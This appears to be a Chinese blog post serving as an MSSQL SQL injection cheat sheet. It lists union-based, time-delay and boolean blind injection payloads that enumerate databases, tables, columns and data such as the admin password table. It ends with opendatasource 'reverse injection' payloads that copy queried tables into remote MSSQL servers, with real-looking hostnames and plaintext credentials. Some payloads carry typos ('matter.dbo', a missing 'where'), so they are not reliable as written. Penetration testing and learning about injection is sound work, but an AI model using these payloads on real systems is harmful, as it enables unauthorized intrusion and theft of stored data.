MSSQL注入
MSSQL
- Mssql存在
information_schema
相关的操作
数据库
sysdatabases【数据库】
master.dbo.sysdatabases【数据库】
- 比较重要的字段:
dbid
、name
数据表
sysobjects【系统表】
查询用户的表
select * from sysobjects where xtype='U'
数据字段
syscolumns【系统字段】
查询表的字段
select * from syscolumns where id='用户表对应的ID'
1、数据库查询
select * from sysdatabases;
2、查询数据表
select table_name from information_schema.tables;
select name from sysobjects where xtype='U';
3、查询字段名
select column_name from information_schema.columns;
select name from syscolumns where id='用户表对应的ID'
注入手法
显错注入
判断注入
- 有回显
and 1=1 / and 1=2
- 无回显(是否延时)
and waitfor delay '0:0:10'
判断字段个数
order by n
查看显错点
- MSSQL数据库和mysql数据库不同,联合查询必须是
union all select
查询数据是必须加上数据类型,如果不清楚就写null
union all select null,null,null
查询数据表
- sysobjects
- sysobjects中的id字段记录下来,在syscolumns中添加查询条件id=在sysobjects中查询的id结果
union all select null,null,name from sysobjects where xtype='U'
- information_schema.tables
union all select null,null,table_name from information_schema.tables
查询字段
-
syscolumns
- 查询全部字段
union all select id,null,name from sysobjects where xtype = 'U'
- 查询对应(ID)表中的字段
union all select null,null,name from syscolumns where id=对应的ID
-
information_schema.columns
union all select null,null,column_name from information_schema.columns
查数据
- 很多情况下数据都会有加密,加密需要猜测对应字段的数据类型,很费时,所以需要通过反弹注入(前提是存在堆叠注入)
union all select null,password from admin
布尔盲注
常见的函数
函数 | 解释 |
---|---|
db_name() | 查询当前数据库 |
object_id() | 免去查询数据表ID |
count() | 查询表记录个数 |
ascii() | 转化为ascii码 |
left(name,m) | name代表查找的字段,n代表第几个字段 |
substring(name,m,n) | name代表分割的字符,m代表从哪个位置开始,n代表依次分割几个字符 |
猜数据库
猜个数
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1)=1
- 通过
burp
对dbid=1
的1
进行遍历,即可得到数据库个数
猜长度
-
当前数据库长度
?id=1 and (select len(db_name()))=n
-
猜其它数据库长度
- 需要用到前面遍历好的
dbid
的值,通过len(name)=的值来进行判断
第一个数据库
?id=1 and (select count(*) from matter.dbo.sysdatabases and dbid=1 and len(name)=1)=1
第二个数据库
?id=1 and (select count(*) from matter.dbo.sysdatabases and dbid=2 and len(name)=1)=1
- 需要用到前面遍历好的
猜库名
-
当前数据库名
?id=1 and left(db_name(),1) = 'k' ?id=1 and left(db_name(),2) = 'ka' ```sql ?id=1 and left(db_name(),12) = 'kanwolongxia'
-
其他数据库名
- 需要用到前面遍历好的
dbid
的值,通过len(name)=的值来进行判断
第一个数据库名
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,1,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,2,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=1 and ascii(substring(name,3,1))>100)=1
第二个数据库名
?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=2 and ascii(substring(name,1,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=2 and ascii(substring(name,2,1))>100)=1 ?id=1 and (select count(*) from master.dbo.sysdatabases where dbid=2 and ascii(substring(name,3,1))>100)=1
- 需要用到前面遍历好的
猜数据表
猜个数
- 利用
sysobjects
?id=1 and (select count(name) from sysobjects where xtype='U')>1
- 利用
information_schema.tables
?id=1 and (select count(table_name) from information_schema.tables)>1
- 一般情况下用
sysobjects
,因为两者查询的结果存在一定的差别
猜长度
- 先通过查询
dbo.sysobjects
找到所有的数据表,在通过子查询找出用户创建的数据表,后面加上判断数据表的长度,如果成立则正确 - 想要知道第二个数据表的长度,需要把第一个数据表猜出来,知道第一个数据表,就在子查询中把这个表去掉
name not in ('第一个数据表')
第一个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and len(name)>1)=1
第二个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and len(name)>1))=1
猜表名
第一个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,1,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,2,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from dbo.sysobjects where xtype='U')and ascii(substring(name,3,1))>100)=1
第二个数据表
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and ascii(substring(name,1,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and ascii(substring(name,2,1))>100)=1
?id=1 and (select count(*) from sysobjects where name in(select top 1 name from sysobjects where xtype='U' and name not in ('第一个数据表') and ascii(substring(name,3,1))>100)=1
猜字段
猜个数
- 利用
syscolumns
?id=1 and (select count(name) from syscolumns where id=object_id('第一个数据表'))>1
?id=1 and (select count(name) from syscolumns where id=object_id('第二个数据表'))>1
?id=1 and (select count(name) from syscolumns where id=object_id('第三个数据表'))>1
- 利用
information_schema.columns
?id=1 and (select count(column_name) from information_schema.columns where table_name='第一个数据表')>1
?id=1 and (select count(column_name) from information_schema.columns where table_name='第二个数据表')>1
?id=1 and (select count(column_name) from information_schema.columns where table_name='第三个数据表')>1
猜长度
-
这里查询结果要写
>1
因为查询的syscolumns
数据表中是很多数据表的集合字段,肯定有重复的,不止1个 -
第一个数据表
第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and len(name)=2)>1 -- 123
第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and len(name)=2)>1 -- 123
-
第二个数据表
第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and len(name)=2)>1 -- 123
第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第二个字段')) and len(name)=2)>1 -- 123
猜字段名
-
第一个数据表
第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表')) and ascii(substring(name,3,1))>100)>1
第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第一个数据表') and name not in ('第一个字段')) and ascii(substring(name,3,1))>100)>1
-
第二个数据表
第一个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表')) and ascii(substring(name,3,1))>100)>1
第二个字段名
?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and ascii(substring(name,1,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and ascii(substring(name,2,1))>100)>1 ?id=1 and (select count(*) from syscolumns where name in(select top 1 name from syscolumns where id=object_id('第二个数据表') and name not in ('第一个字段')) and ascii(substring(name,3,1))>100)>1
猜数据
猜个数
第一个数据表
?id=1 and (select count(第一个字段) from 第一个数据表)>1
?id=1 and (select count(第二个字段) from 第一个数据表)>1
?id=1 and (select count(第三个字段) from 第一个数据表)>1
第二个数据表
?id=1 and (select count(第一个字段) from 第二个数据表)>1
?id=1 and (select count(第二个字段) from 第二个数据表)>1
?id=1 and (select count(第三个字段) from 第二个数据表)>1
猜长度
第一个数据表
?id=1 and (select count(第一个字段) from 第一个数据表 where len(第一个字段)>1)>1
?id=1 and (select count(第二个字段) from 第一个数据表 where len(第二个字段)>1)>1
?id=1 and (select count(第三个字段) from 第一个数据表 where len(第三个字段)>1)>1
第二个数据表
?id=1 and (select count(第一个字段) from 第二个数据表 where len(第一个字段)>1)>1
?id=1 and (select count(第二个字段) from 第二个数据表 where len(第二个字段)>1)>1
?id=1 and (select count(第三个字段) from 第二个数据表 where len(第三个字段)>1)>1
猜数据
-
第一个数据表
第一个字段数据
?id=1 and (select count(*) from 第一个数据表 where 第一个字段 in (select top 1 第一个字段 from 第一个数据表) and ascii(substring(第一个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第一个字段 in (select top 1 第一个字段 from 第一个数据表) and ascii(substring(第一个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第一个字段 in (select top 1 第一个字段 from 第一个数据表) and ascii(substring(第一个字段,3,1))>1)>1
第二个字段数据
?id=1 and (select count(*) from 第一个数据表 where 第二个字段 in (select top 1 第二个字段 from 第一个数据表) and ascii(substring(第二个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第二个字段 in (select top 1 第二个字段 from 第一个数据表) and ascii(substring(第二个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第一个数据表 where 第二个字段 in (select top 1 第二个字段 from 第一个数据表) and ascii(substring(第二个字段,3,1))>1)>1
-
第二个数据表
第一个字段数据
?id=1 and (select count(*) from 第二个数据表 where 第一个字段 in (select top 1 第一个字段 from 第二个数据表) and ascii(substring(第一个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第一个字段 in (select top 1 第一个字段 from 第二个数据表) and ascii(substring(第一个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第一个字段 in (select top 1 第一个字段 from 第二个数据表) and ascii(substring(第一个字段,3,1))>1)>1
第二个字段数据
?id=1 and (select count(*) from 第二个数据表 where 第二个字段 in (select top 1 第二个字段 from 第二个数据表) and ascii(substring(第二个字段,1,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第二个字段 in (select top 1 第二个字段 from 第二个数据表) and ascii(substring(第二个字段,2,1))>1)>1 ?id=1 and (select count(*) from 第二个数据表 where 第二个字段 in (select top 1 第二个字段 from 第二个数据表) and ascii(substring(第二个字段,3,1))>1)>1
反弹注入
- 让被攻击者的数据库查询的数据插入到攻击者的数据库中
前提条件
-
需要什么?
- 公网IP
- 服务器,数据库
-
反弹注入会暴露自己的公网IP
- 需要其他网上虚拟空间搭建数据库
-
必须得配合堆叠注入
- 分号后面的数据库语句还可以执行
select * from admin;select * from password;
使用场景
无法闭合、延时注入、盲注、报错注入都失效,用到反弹注入,需要
opendatasource
函数
注入格式
insert into opendatasource('连接的组件', 'server=连接地址, 端口;uid=账号;pwd=密码;database=数据库的名字').数据库.dbo.表 select * from 查询的表
知道表内字段数
- 直接远程创建一个和想要查询的数据表相同字段的数据表
insert into opendatasource('sqloledb','server=den1.mssql7.gear.host,1433;uid=assdawqwe;pwd=Se7b77t0-!zP;database=assdawqwe').assdawqwe.dbo.mms select * from admin
不知道表内字段数
-
通过联合查询进行查看字段数个数
- 有回显的情况下
union all select count(name),null,null from syscolumns where id='对应数据表的ID'
- 无回显的情况下
union all select count(name),null,null from syscolumns where id='对应数据表的ID'
insert into opendatasource('sqloledb','server=den1.mssql7.gear.host,1433;uid=assdawqwe;pwd=Se7b77t0-!zP;database=assdawqwe').assdawqwe.dbo.mms1 select name from sysobjects where xtype='U'
insert into opendatasource('sqloledb', 'server=sql5109.site4now.net,1433;uid=db_a7e8ec_abc_admin;pwd=asdfghjkl12#;database=db_a7e8ec_abc').db_a7e8ec_abc.dbo.a select table_name from sysobjects where xtype='u' --123
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~